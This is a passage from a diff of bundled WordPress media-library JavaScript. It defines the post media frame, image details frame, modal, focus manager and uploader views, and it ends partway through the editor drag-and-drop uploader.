+ * wp.media.view.MediaFrame.Post
+ *
+ * The frame for manipulating media on the Edit Post page.
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame.Select
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+Post = Select.extend(/** @lends wp.media.view.MediaFrame.Post.prototype */{
+	initialize: function() {
+		this.counts = {
+			audio: {
+				count: wp.media.view.settings.attachmentCounts.audio,
+				state: 'playlist'
+			},
+			video: {
+				count: wp.media.view.settings.attachmentCounts.video,
+				state: 'video-playlist'
+			}
+		};
+
+		_.defaults( this.options, {
+			multiple:  true,
+			editing:   false,
+			state:    'insert',
+			metadata:  {}
+		});
+
+		// Call 'initialize' directly on the parent class.
+		Select.prototype.initialize.apply( this, arguments );
+		this.createIframeStates();
+
+	},
+
+	/**
+	 * Create the default states.
+	 */
+	createStates: function() {
+		var options = this.options;
+
+		this.states.add([
+			// Main states.
+			new Library({
+				id:         'insert',
+				title:      l10n.insertMediaTitle,
+				priority:   20,
+				toolbar:    'main-insert',
+				filterable: 'all',
+				library:    wp.media.query( options.library ),
+				multiple:   options.multiple ? 'reset' : false,
+				editable:   true,
+
+				// If the user isn't allowed to edit fields,
+				// can they still edit it locally?
+				allowLocalEdits: true,
+
+				// Show the attachment display settings.
+				displaySettings: true,
+				// Update user settings when users adjust the
+				// attachment display settings.
+				displayUserSettings: true
+			}),
+
+			new Library({
+				id:         'gallery',
+				title:      l10n.createGalleryTitle,
+				priority:   40,
+				toolbar:    'main-gallery',
+				filterable: 'uploaded',
+				multiple:   'add',
+				editable:   false,
+
+				library:  wp.media.query( _.defaults({
+					type: 'image'
+				}, options.library ) )
+			}),
+
+			// Embed states.
+			new wp.media.controller.Embed( { metadata: options.metadata } ),
+
+			new wp.media.controller.EditImage( { model: options.editImage } ),
+
+			// Gallery states.
+			new wp.media.controller.GalleryEdit({
+				library: options.selection,
+				editing: options.editing,
+				menu:    'gallery'
+			}),
+
+			new wp.media.controller.GalleryAdd(),
+
+			new Library({
+				id:         'playlist',
+				title:      l10n.createPlaylistTitle,
+				priority:   60,
+				toolbar:    'main-playlist',
+				filterable: 'uploaded',
+				multiple:   'add',
+				editable:   false,
+
+				library:  wp.media.query( _.defaults({
+					type: 'audio'
+				}, options.library ) )
+			}),
+
+			// Playlist states.
+			new wp.media.controller.CollectionEdit({
+				type: 'audio',
+				collectionType: 'playlist',
+				title:          l10n.editPlaylistTitle,
+				SettingsView:   wp.media.view.Settings.Playlist,
+				library:        options.selection,
+				editing:        options.editing,
+				menu:           'playlist',
+				dragInfoText:   l10n.playlistDragInfo,
+				dragInfo:       false
+			}),
+
+			new wp.media.controller.CollectionAdd({
+				type: 'audio',
+				collectionType: 'playlist',
+				title: l10n.addToPlaylistTitle
+			}),
+
+			new Library({
+				id:         'video-playlist',
+				title:      l10n.createVideoPlaylistTitle,
+				priority:   60,
+				toolbar:    'main-video-playlist',
+				filterable: 'uploaded',
+				multiple:   'add',
+				editable:   false,
+
+				library:  wp.media.query( _.defaults({
+					type: 'video'
+				}, options.library ) )
+			}),
+
+			new wp.media.controller.CollectionEdit({
+				type: 'video',
+				collectionType: 'playlist',
+				title:          l10n.editVideoPlaylistTitle,
+				SettingsView:   wp.media.view.Settings.Playlist,
+				library:        options.selection,
+				editing:        options.editing,
+				menu:           'video-playlist',
+				dragInfoText:   l10n.videoPlaylistDragInfo,
+				dragInfo:       false
+			}),
+
+			new wp.media.controller.CollectionAdd({
+				type: 'video',
+				collectionType: 'playlist',
+				title: l10n.addToVideoPlaylistTitle
+			})
+		]);
+
+		if ( wp.media.view.settings.post.featuredImageId ) {
+			this.states.add( new wp.media.controller.FeaturedImage() );
+		}
+	},
+
+	bindHandlers: function() {
+		var handlers, checkCounts;
+
+		Select.prototype.bindHandlers.apply( this, arguments );
+
+		this.on( 'activate', this.activate, this );
+
+		// Only bother checking media type counts if one of the counts is zero
+		checkCounts = _.find( this.counts, function( type ) {
+			return type.count === 0;
+		} );
+
+		if ( typeof checkCounts !== 'undefined' ) {
+			this.listenTo( wp.media.model.Attachments.all, 'change:type', this.mediaTypeCounts );
+		}
+
+		this.on( 'menu:create:gallery', this.createMenu, this );
+		this.on( 'menu:create:playlist', this.createMenu, this );
+		this.on( 'menu:create:video-playlist', this.createMenu, this );
+		this.on( 'toolbar:create:main-insert', this.createToolbar, this );
+		this.on( 'toolbar:create:main-gallery', this.createToolbar, this );
+		this.on( 'toolbar:create:main-playlist', this.createToolbar, this );
+		this.on( 'toolbar:create:main-video-playlist', this.createToolbar, this );
+		this.on( 'toolbar:create:featured-image', this.featuredImageToolbar, this );
+		this.on( 'toolbar:create:main-embed', this.mainEmbedToolbar, this );
+
+		handlers = {
+			menu: {
+				'default': 'mainMenu',
+				'gallery': 'galleryMenu',
+				'playlist': 'playlistMenu',
+				'video-playlist': 'videoPlaylistMenu'
+			},
+
+			content: {
+				'embed':          'embedContent',
+				'edit-image':     'editImageContent',
+				'edit-selection': 'editSelectionContent'
+			},
+
+			toolbar: {
+				'main-insert':      'mainInsertToolbar',
+				'main-gallery':     'mainGalleryToolbar',
+				'gallery-edit':     'galleryEditToolbar',
+				'gallery-add':      'galleryAddToolbar',
+				'main-playlist':	'mainPlaylistToolbar',
+				'playlist-edit':	'playlistEditToolbar',
+				'playlist-add':		'playlistAddToolbar',
+				'main-video-playlist': 'mainVideoPlaylistToolbar',
+				'video-playlist-edit': 'videoPlaylistEditToolbar',
+				'video-playlist-add': 'videoPlaylistAddToolbar'
+			}
+		};
+
+		_.each( handlers, function( regionHandlers, region ) {
+			_.each( regionHandlers, function( callback, handler ) {
+				this.on( region + ':render:' + handler, this[ callback ], this );
+			}, this );
+		}, this );
+	},
+
+	activate: function() {
+		// Hide menu items for states tied to particular media types if there are no items
+		_.each( this.counts, function( type ) {
+			if ( type.count < 1 ) {
+				this.menuItemVisibility( type.state, 'hide' );
+			}
+		}, this );
+	},
+
+	mediaTypeCounts: function( model, attr ) {
+		if ( typeof this.counts[ attr ] !== 'undefined' && this.counts[ attr ].count < 1 ) {
+			this.counts[ attr ].count++;
+			this.menuItemVisibility( this.counts[ attr ].state, 'show' );
+		}
+	},
+
+	// Menus
+	/**
+	 * @param {wp.Backbone.View} view
+	 */
+	mainMenu: function( view ) {
+		view.set({
+			'library-separator': new wp.media.View({
+				className: 'separator',
+				priority: 100
+			})
+		});
+	},
+
+	menuItemVisibility: function( state, visibility ) {
+		var menu = this.menu.get();
+		if ( visibility === 'hide' ) {
+			menu.hide( state );
+		} else if ( visibility === 'show' ) {
+			menu.show( state );
+		}
+	},
+	/**
+	 * @param {wp.Backbone.View} view
+	 */
+	galleryMenu: function( view ) {
+		var lastState = this.lastState(),
+			previous = lastState && lastState.id,
+			frame = this;
+
+		view.set({
+			cancel: {
+				text:     l10n.cancelGalleryTitle,
+				priority: 20,
+				click:    function() {
+					if ( previous ) {
+						frame.setState( previous );
+					} else {
+						frame.close();
+					}
+
+					// Keep focus inside media modal
+					// after canceling a gallery
+					this.controller.modal.focusManager.focus();
+				}
+			},
+			separateCancel: new wp.media.View({
+				className: 'separator',
+				priority: 40
+			})
+		});
+	},
+
+	playlistMenu: function( view ) {
+		var lastState = this.lastState(),
+			previous = lastState && lastState.id,
+			frame = this;
+
+		view.set({
+			cancel: {
+				text:     l10n.cancelPlaylistTitle,
+				priority: 20,
+				click:    function() {
+					if ( previous ) {
+						frame.setState( previous );
+					} else {
+						frame.close();
+					}
+				}
+			},
+			separateCancel: new wp.media.View({
+				className: 'separator',
+				priority: 40
+			})
+		});
+	},
+
+	videoPlaylistMenu: function( view ) {
+		var lastState = this.lastState(),
+			previous = lastState && lastState.id,
+			frame = this;
+
+		view.set({
+			cancel: {
+				text:     l10n.cancelVideoPlaylistTitle,
+				priority: 20,
+				click:    function() {
+					if ( previous ) {
+						frame.setState( previous );
+					} else {
+						frame.close();
+					}
+				}
+			},
+			separateCancel: new wp.media.View({
+				className: 'separator',
+				priority: 40
+			})
+		});
+	},
+
+	// Content
+	embedContent: function() {
+		var view = new wp.media.view.Embed({
+			controller: this,
+			model:      this.state()
+		}).render();
+
+		this.content.set( view );
+
+		if ( ! wp.media.isTouchDevice ) {
+			view.url.focus();
+		}
+	},
+
+	editSelectionContent: function() {
+		var state = this.state(),
+			selection = state.get('selection'),
+			view;
+
+		view = new wp.media.view.AttachmentsBrowser({
+			controller: this,
+			collection: selection,
+			selection:  selection,
+			model:      state,
+			sortable:   true,
+			search:     false,
+			date:       false,
+			dragInfo:   true,
+
+			AttachmentView: wp.media.view.Attachments.EditSelection
+		}).render();
+
+		view.toolbar.set( 'backToLibrary', {
+			text:     l10n.returnToLibrary,
+			priority: -100,
+
+			click: function() {
+				this.controller.content.mode('browse');
+			}
+		});
+
+		// Browse our library of attachments.
+		this.content.set( view );
+
+		// Trigger the controller to set focus
+		this.trigger( 'edit:selection', this );
+	},
+
+	editImageContent: function() {
+		var image = this.state().get('image'),
+			view = new wp.media.view.EditImage( { model: image, controller: this } ).render();
+
+		this.content.set( view );
+
+		// after creating the wrapper view, load the actual editor via an ajax call
+		view.loadEditor();
+
+	},
+
+	// Toolbars
+
+	/**
+	 * @param {wp.Backbone.View} view
+	 */
+	selectionStatusToolbar: function( view ) {
+		var editable = this.state().get('editable');
+
+		view.set( 'selection', new wp.media.view.Selection({
+			controller: this,
+			collection: this.state().get('selection'),
+			priority:   -40,
+
+			// If the selection is editable, pass the callback to
+			// switch the content mode.
+			editable: editable && function() {
+				this.controller.content.mode('edit-selection');
+			}
+		}).render() );
+	},
+
+	/**
+	 * @param {wp.Backbone.View} view
+	 */
+	mainInsertToolbar: function( view ) {
+		var controller = this;
+
+		this.selectionStatusToolbar( view );
+
+		view.set( 'insert', {
+			style:    'primary',
+			priority: 80,
+			text:     l10n.insertIntoPost,
+			requires: { selection: true },
+
+			/**
+			 * @callback
+			 * @fires wp.media.controller.State#insert
+			 */
+			click: function() {
+				var state = controller.state(),
+					selection = state.get('selection');
+
+				controller.close();
+				state.trigger( 'insert', selection ).reset();
+			}
+		});
+	},
+
+	/**
+	 * @param {wp.Backbone.View} view
+	 */
+	mainGalleryToolbar: function( view ) {
+		var controller = this;
+
+		this.selectionStatusToolbar( view );
+
+		view.set( 'gallery', {
+			style:    'primary',
+			text:     l10n.createNewGallery,
+			priority: 60,
+			requires: { selection: true },
+
+			click: function() {
+				var selection = controller.state().get('selection'),
+					edit = controller.state('gallery-edit'),
+					models = selection.where({ type: 'image' });
+
+				edit.set( 'library', new wp.media.model.Selection( models, {
+					props:    selection.props.toJSON(),
+					multiple: true
+				}) );
+
+				this.controller.setState('gallery-edit');
+
+				// Keep focus inside media modal
+				// after jumping to gallery view
+				this.controller.modal.focusManager.focus();
+			}
+		});
+	},
+
+	mainPlaylistToolbar: function( view ) {
+		var controller = this;
+
+		this.selectionStatusToolbar( view );
+
+		view.set( 'playlist', {
+			style:    'primary',
+			text:     l10n.createNewPlaylist,
+			priority: 100,
+			requires: { selection: true },
+
+			click: function() {
+				var selection = controller.state().get('selection'),
+					edit = controller.state('playlist-edit'),
+					models = selection.where({ type: 'audio' });
+
+				edit.set( 'library', new wp.media.model.Selection( models, {
+					props:    selection.props.toJSON(),
+					multiple: true
+				}) );
+
+				this.controller.setState('playlist-edit');
+
+				// Keep focus inside media modal
+				// after jumping to playlist view
+				this.controller.modal.focusManager.focus();
+			}
+		});
+	},
+
+	mainVideoPlaylistToolbar: function( view ) {
+		var controller = this;
+
+		this.selectionStatusToolbar( view );
+
+		view.set( 'video-playlist', {
+			style:    'primary',
+			text:     l10n.createNewVideoPlaylist,
+			priority: 100,
+			requires: { selection: true },
+
+			click: function() {
+				var selection = controller.state().get('selection'),
+					edit = controller.state('video-playlist-edit'),
+					models = selection.where({ type: 'video' });
+
+				edit.set( 'library', new wp.media.model.Selection( models, {
+					props:    selection.props.toJSON(),
+					multiple: true
+				}) );
+
+				this.controller.setState('video-playlist-edit');
+
+				// Keep focus inside media modal
+				// after jumping to video playlist view
+				this.controller.modal.focusManager.focus();
+			}
+		});
+	},
+
+	featuredImageToolbar: function( toolbar ) {
+		this.createSelectToolbar( toolbar, {
+			text:  l10n.setFeaturedImage,
+			state: this.options.state
+		});
+	},
+
+	mainEmbedToolbar: function( toolbar ) {
+		toolbar.view = new wp.media.view.Toolbar.Embed({
+			controller: this
+		});
+	},
+
+	galleryEditToolbar: function() {
+		var editing = this.state().get('editing');
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     editing ? l10n.updateGallery : l10n.insertGallery,
+					priority: 80,
+					requires: { library: true },
+
+					/**
+					 * @fires wp.media.controller.State#update
+					 */
+					click: function() {
+						var controller = this.controller,
+							state = controller.state();
+
+						controller.close();
+						state.trigger( 'update', state.get('library') );
+
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	},
+
+	galleryAddToolbar: function() {
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     l10n.addToGallery,
+					priority: 80,
+					requires: { selection: true },
+
+					/**
+					 * @fires wp.media.controller.State#reset
+					 */
+					click: function() {
+						var controller = this.controller,
+							state = controller.state(),
+							edit = controller.state('gallery-edit');
+
+						edit.get('library').add( state.get('selection').models );
+						state.trigger('reset');
+						controller.setState('gallery-edit');
+					}
+				}
+			}
+		}) );
+	},
+
+	playlistEditToolbar: function() {
+		var editing = this.state().get('editing');
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     editing ? l10n.updatePlaylist : l10n.insertPlaylist,
+					priority: 80,
+					requires: { library: true },
+
+					/**
+					 * @fires wp.media.controller.State#update
+					 */
+					click: function() {
+						var controller = this.controller,
+							state = controller.state();
+
+						controller.close();
+						state.trigger( 'update', state.get('library') );
+
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	},
+
+	playlistAddToolbar: function() {
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     l10n.addToPlaylist,
+					priority: 80,
+					requires: { selection: true },
+
+					/**
+					 * @fires wp.media.controller.State#reset
+					 */
+					click: function() {
+						var controller = this.controller,
+							state = controller.state(),
+							edit = controller.state('playlist-edit');
+
+						edit.get('library').add( state.get('selection').models );
+						state.trigger('reset');
+						controller.setState('playlist-edit');
+					}
+				}
+			}
+		}) );
+	},
+
+	videoPlaylistEditToolbar: function() {
+		var editing = this.state().get('editing');
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     editing ? l10n.updateVideoPlaylist : l10n.insertVideoPlaylist,
+					priority: 140,
+					requires: { library: true },
+
+					click: function() {
+						var controller = this.controller,
+							state = controller.state(),
+							library = state.get('library');
+
+						library.type = 'video';
+
+						controller.close();
+						state.trigger( 'update', library );
+
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	},
+
+	videoPlaylistAddToolbar: function() {
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     l10n.addToVideoPlaylist,
+					priority: 140,
+					requires: { selection: true },
+
+					click: function() {
+						var controller = this.controller,
+							state = controller.state(),
+							edit = controller.state('video-playlist-edit');
+
+						edit.get('library').add( state.get('selection').models );
+						state.trigger('reset');
+						controller.setState('video-playlist-edit');
+					}
+				}
+			}
+		}) );
+	}
+});
+
+module.exports = Post;
+
+
+/***/ }),
+/* 50 */
+/***/ (function(module, exports) {
+
+var Select = wp.media.view.MediaFrame.Select,
+	l10n = wp.media.view.l10n,
+	ImageDetails;
+
+/**
+ * wp.media.view.MediaFrame.ImageDetails
+ *
+ * A media frame for manipulating an image that's already been inserted
+ * into a post.
+ *
+ * @memberOf wp.media.view.MediaFrame
+ *
+ * @class
+ * @augments wp.media.view.MediaFrame.Select
+ * @augments wp.media.view.MediaFrame
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+ImageDetails = Select.extend(/** @lends wp.media.view.MediaFrame.ImageDetails.prototype */{
+	defaults: {
+		id:      'image',
+		url:     '',
+		menu:    'image-details',
+		content: 'image-details',
+		toolbar: 'image-details',
+		type:    'link',
+		title:    l10n.imageDetailsTitle,
+		priority: 120
+	},
+
+	initialize: function( options ) {
+		this.image = new wp.media.model.PostImage( options.metadata );
+		this.options.selection = new wp.media.model.Selection( this.image.attachment, { multiple: false } );
+		Select.prototype.initialize.apply( this, arguments );
+	},
+
+	bindHandlers: function() {
+		Select.prototype.bindHandlers.apply( this, arguments );
+		this.on( 'menu:create:image-details', this.createMenu, this );
+		this.on( 'content:create:image-details', this.imageDetailsContent, this );
+		this.on( 'content:render:edit-image', this.editImageContent, this );
+		this.on( 'toolbar:render:image-details', this.renderImageDetailsToolbar, this );
+		// override the select toolbar
+		this.on( 'toolbar:render:replace', this.renderReplaceImageToolbar, this );
+	},
+
+	createStates: function() {
+		this.states.add([
+			new wp.media.controller.ImageDetails({
+				image: this.image,
+				editable: false
+			}),
+			new wp.media.controller.ReplaceImage({
+				id: 'replace-image',
+				library: wp.media.query( { type: 'image' } ),
+				image: this.image,
+				multiple:  false,
+				title:     l10n.imageReplaceTitle,
+				toolbar: 'replace',
+				priority:  80,
+				displaySettings: true
+			}),
+			new wp.media.controller.EditImage( {
+				image: this.image,
+				selection: this.options.selection
+			} )
+		]);
+	},
+
+	imageDetailsContent: function( options ) {
+		options.view = new wp.media.view.ImageDetails({
+			controller: this,
+			model: this.state().image,
+			attachment: this.state().image.attachment
+		});
+	},
+
+	editImageContent: function() {
+		var state = this.state(),
+			model = state.get('image'),
+			view;
+
+		if ( ! model ) {
+			return;
+		}
+
+		view = new wp.media.view.EditImage( { model: model, controller: this } ).render();
+
+		this.content.set( view );
+
+		// after bringing in the frame, load the actual editor via an ajax call
+		view.loadEditor();
+
+	},
+
+	renderImageDetailsToolbar: function() {
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				select: {
+					style:    'primary',
+					text:     l10n.update,
+					priority: 80,
+
+					click: function() {
+						var controller = this.controller,
+							state = controller.state();
+
+						controller.close();
+
+						// not sure if we want to use wp.media.string.image which will create a shortcode or
+						// perhaps wp.html.string to at least to build the <img />
+						state.trigger( 'update', controller.image.toJSON() );
+
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	},
+
+	renderReplaceImageToolbar: function() {
+		var frame = this,
+			lastState = frame.lastState(),
+			previous = lastState && lastState.id;
+
+		this.toolbar.set( new wp.media.view.Toolbar({
+			controller: this,
+			items: {
+				back: {
+					text:     l10n.back,
+					priority: 20,
+					click:    function() {
+						if ( previous ) {
+							frame.setState( previous );
+						} else {
+							frame.close();
+						}
+					}
+				},
+
+				replace: {
+					style:    'primary',
+					text:     l10n.replace,
+					priority: 80,
+					requires: { selection: true },
+
+					click: function() {
+						var controller = this.controller,
+							state = controller.state(),
+							selection = state.get( 'selection' ),
+							attachment = selection.single();
+
+						controller.close();
+
+						controller.image.changeAttachment( attachment, state.display( attachment ) );
+
+						// not sure if we want to use wp.media.string.image which will create a shortcode or
+						// perhaps wp.html.string to at least to build the <img />
+						state.trigger( 'replace', controller.image.toJSON() );
+
+						// Restore and reset the default state.
+						controller.setState( controller.options.state );
+						controller.reset();
+					}
+				}
+			}
+		}) );
+	}
+
+});
+
+module.exports = ImageDetails;
+
+
+/***/ }),
+/* 51 */
+/***/ (function(module, exports) {
+
+var $ = jQuery,
+	Modal;
+
+/**
+ * wp.media.view.Modal
+ *
+ * A modal view, which the media modal uses as its default container.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Modal = wp.media.View.extend(/** @lends wp.media.view.Modal.prototype */{
+	tagName:  'div',
+	template: wp.template('media-modal'),
+
+	events: {
+		'click .media-modal-backdrop, .media-modal-close': 'escapeHandler',
+		'keydown': 'keydown'
+	},
+
+	clickedOpenerEl: null,
+
+	initialize: function() {
+		_.defaults( this.options, {
+			container: document.body,
+			title:     '',
+			propagate: true
+		});
+
+		this.focusManager = new wp.media.view.FocusManager({
+			el: this.el
+		});
+	},
+	/**
+	 * @returns {Object}
+	 */
+	prepare: function() {
+		return {
+			title: this.options.title
+		};
+	},
+
+	/**
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	attach: function() {
+		if ( this.views.attached ) {
+			return this;
+		}
+
+		if ( ! this.views.rendered ) {
+			this.render();
+		}
+
+		this.$el.appendTo( this.options.container );
+
+		// Manually mark the view as attached and trigger ready.
+		this.views.attached = true;
+		this.views.ready();
+
+		return this.propagate('attach');
+	},
+
+	/**
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	detach: function() {
+		if ( this.$el.is(':visible') ) {
+			this.close();
+		}
+
+		this.$el.detach();
+		this.views.attached = false;
+		return this.propagate('detach');
+	},
+
+	/**
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	open: function() {
+		var $el = this.$el,
+			mceEditor;
+
+		if ( $el.is(':visible') ) {
+			return this;
+		}
+
+		this.clickedOpenerEl = document.activeElement;
+
+		if ( ! this.views.attached ) {
+			this.attach();
+		}
+
+		// Disable page scrolling.
+		$( 'body' ).addClass( 'modal-open' );
+
+		$el.show();
+
+		// Try to close the onscreen keyboard
+		if ( 'ontouchend' in document ) {
+			if ( ( mceEditor = window.tinymce && window.tinymce.activeEditor ) && ! mceEditor.isHidden() && mceEditor.iframeElement ) {
+				mceEditor.iframeElement.focus();
+				mceEditor.iframeElement.blur();
+
+				setTimeout( function() {
+					mceEditor.iframeElement.blur();
+				}, 100 );
+			}
+		}
+
+		// Set initial focus on the content instead of this view element, to avoid page scrolling.
+		this.$( '.media-modal' ).focus();
+
+		return this.propagate('open');
+	},
+
+	/**
+	 * @param {Object} options
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	close: function( options ) {
+		if ( ! this.views.attached || ! this.$el.is(':visible') ) {
+			return this;
+		}
+
+		// Enable page scrolling.
+		$( 'body' ).removeClass( 'modal-open' );
+
+		// Hide modal and remove restricted media modal tab focus once it's closed
+		this.$el.hide().undelegate( 'keydown' );
+
+		// Put focus back in useful location once modal is closed.
+		if ( null !== this.clickedOpenerEl ) {
+			this.clickedOpenerEl.focus();
+		} else {
+			$( '#wpbody-content' ).focus();
+		}
+
+		this.propagate('close');
+
+		if ( options && options.escape ) {
+			this.propagate('escape');
+		}
+
+		return this;
+	},
+	/**
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	escape: function() {
+		return this.close({ escape: true });
+	},
+	/**
+	 * @param {Object} event
+	 */
+	escapeHandler: function( event ) {
+		event.preventDefault();
+		this.escape();
+	},
+
+	/**
+	 * @param {Array|Object} content Views to register to '.media-modal-content'
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	content: function( content ) {
+		this.views.set( '.media-modal-content', content );
+		return this;
+	},
+
+	/**
+	 * Triggers a modal event and if the `propagate` option is set,
+	 * forwards events to the modal's controller.
+	 *
+	 * @param {string} id
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	propagate: function( id ) {
+		this.trigger( id );
+
+		if ( this.options.propagate ) {
+			this.controller.trigger( id );
+		}
+
+		return this;
+	},
+	/**
+	 * @param {Object} event
+	 */
+	keydown: function( event ) {
+		// Close the modal when escape is pressed.
+		if ( 27 === event.which && this.$el.is(':visible') ) {
+			this.escape();
+			event.stopImmediatePropagation();
+		}
+	}
+});
+
+module.exports = Modal;
+
+
+/***/ }),
+/* 52 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.view.FocusManager
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var FocusManager = wp.media.View.extend(/** @lends wp.media.view.FocusManager.prototype */{
+
+	events: {
+		'keydown': 'constrainTabbing'
+	},
+
+	focus: function() { // Reset focus on first left menu item
+		this.$('.media-menu-item').first().focus();
+	},
+	/**
+	 * @param {Object} event
+	 */
+	constrainTabbing: function( event ) {
+		var tabbables;
+
+		// Look for the tab key.
+		if ( 9 !== event.keyCode ) {
+			return;
+		}
+
+		// Skip the file input added by Plupload.
+		tabbables = this.$( ':tabbable' ).not( '.moxie-shim input[type="file"]' );
+
+		// Keep tab focus within media modal while it's open
+		if ( tabbables.last()[0] === event.target && ! event.shiftKey ) {
+			tabbables.first().focus();
+			return false;
+		} else if ( tabbables.first()[0] === event.target && event.shiftKey ) {
+			tabbables.last().focus();
+			return false;
+		}
+	}
+
+});
+
+module.exports = FocusManager;
+
+
+/***/ }),
+/* 53 */
+/***/ (function(module, exports) {
+
+var $ = jQuery,
+	UploaderWindow;
+
+/**
+ * wp.media.view.UploaderWindow
+ *
+ * An uploader window that allows for dragging and dropping media.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ *
+ * @param {object} [options]                   Options hash passed to the view.
+ * @param {object} [options.uploader]          Uploader properties.
+ * @param {jQuery} [options.uploader.browser]
+ * @param {jQuery} [options.uploader.dropzone] jQuery collection of the dropzone.
+ * @param {object} [options.uploader.params]
+ */
+UploaderWindow = wp.media.View.extend(/** @lends wp.media.view.UploaderWindow.prototype */{
+	tagName:   'div',
+	className: 'uploader-window',
+	template:  wp.template('uploader-window'),
+
+	initialize: function() {
+		var uploader;
+
+		this.$browser = $( '<button type="button" class="browser" />' ).hide().appendTo( 'body' );
+
+		uploader = this.options.uploader = _.defaults( this.options.uploader || {}, {
+			dropzone:  this.$el,
+			browser:   this.$browser,
+			params:    {}
+		});
+
+		// Ensure the dropzone is a jQuery collection.
+		if ( uploader.dropzone && ! (uploader.dropzone instanceof $) ) {
+			uploader.dropzone = $( uploader.dropzone );
+		}
+
+		this.controller.on( 'activate', this.refresh, this );
+
+		this.controller.on( 'detach', function() {
+			this.$browser.remove();
+		}, this );
+	},
+
+	refresh: function() {
+		if ( this.uploader ) {
+			this.uploader.refresh();
+		}
+	},
+
+	ready: function() {
+		var postId = wp.media.view.settings.post.id,
+			dropzone;
+
+		// If the uploader already exists, bail.
+		if ( this.uploader ) {
+			return;
+		}
+
+		if ( postId ) {
+			this.options.uploader.params.post_id = postId;
+		}
+		this.uploader = new wp.Uploader( this.options.uploader );
+
+		dropzone = this.uploader.dropzone;
+		dropzone.on( 'dropzone:enter', _.bind( this.show, this ) );
+		dropzone.on( 'dropzone:leave', _.bind( this.hide, this ) );
+
+		$( this.uploader ).on( 'uploader:ready', _.bind( this._ready, this ) );
+	},
+
+	_ready: function() {
+		this.controller.trigger( 'uploader:ready' );
+	},
+
+	show: function() {
+		var $el = this.$el.show();
+
+		// Ensure that the animation is triggered by waiting until
+		// the transparent element is painted into the DOM.
+		_.defer( function() {
+			$el.css({ opacity: 1 });
+		});
+	},
+
+	hide: function() {
+		var $el = this.$el.css({ opacity: 0 });
+
+		wp.media.transition( $el ).done( function() {
+			// Transition end events are subject to race conditions.
+			// Make sure that the value is set as intended.
+			if ( '0' === $el.css('opacity') ) {
+				$el.hide();
+			}
+		});
+
+		// https://core.trac.wordpress.org/ticket/27341
+		_.delay( function() {
+			if ( '0' === $el.css('opacity') && $el.is(':visible') ) {
+				$el.hide();
+			}
+		}, 500 );
+	}
+});
+
+module.exports = UploaderWindow;
+
+
+/***/ }),
+/* 54 */
+/***/ (function(module, exports) {
+
+var View = wp.media.View,
+	l10n = wp.media.view.l10n,
+	$ = jQuery,
+	EditorUploader;
+
+/**
+ * Creates a dropzone on WP editor instances (elements with .wp-editor-wrap)
+ * and relays drag'n'dropped files to a media workflow.
+ *
+ * wp.media.view.EditorUploader
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+EditorUploader = View.extend(/** @lends wp.media.view.EditorUploader.prototype */{
+	tagName:   'div',
+	className: 'uploader-editor',
+	template:  wp.template( 'uploader-editor' ),
+
+	localDrag: false,
+	overContainer: false,
+	overDropzone: false,
+	draggingFile: null,
+
+	/**
+	 * Bind drag'n'drop events to callbacks.
+	 */
+	initialize: function() {
+		this.initialized = false;
+
+		// Bail if not enabled or UA does not support drag'n'drop or File API.
+		if ( ! window.tinyMCEPreInit || ! window.tinyMCEPreInit.dragDropUpload || ! this.browserSupport() ) {
+			return this;
+		}
+
+		this.$document = $(document);
+		this.dropzones = [];
+		this.files = [];
+
+		this.$document.on( 'drop', '.uploader-editor', _.bind( this.drop, this ) );
+		this.$document.on( 'dragover', '.uploader-editor', _.bind( this.dropzoneDragover, this ) );
+		this.$document.on( 'dragleave', '.uploader-editor', _.bind( this.dropzoneDragleave, this ) );
+		this.$document.on( 'click', '.uploader-editor', _.bind( this.click, this ) );
+
+		this.$document.on( 'dragover', _.bind( this.containerDragover, this ) );
+		this.$document.on( 'dragleave', _.bind( this.containerDragleave, this ) );
+
+		this.$document.on( 'dragstart dragend drop', _.bind( function( event ) {
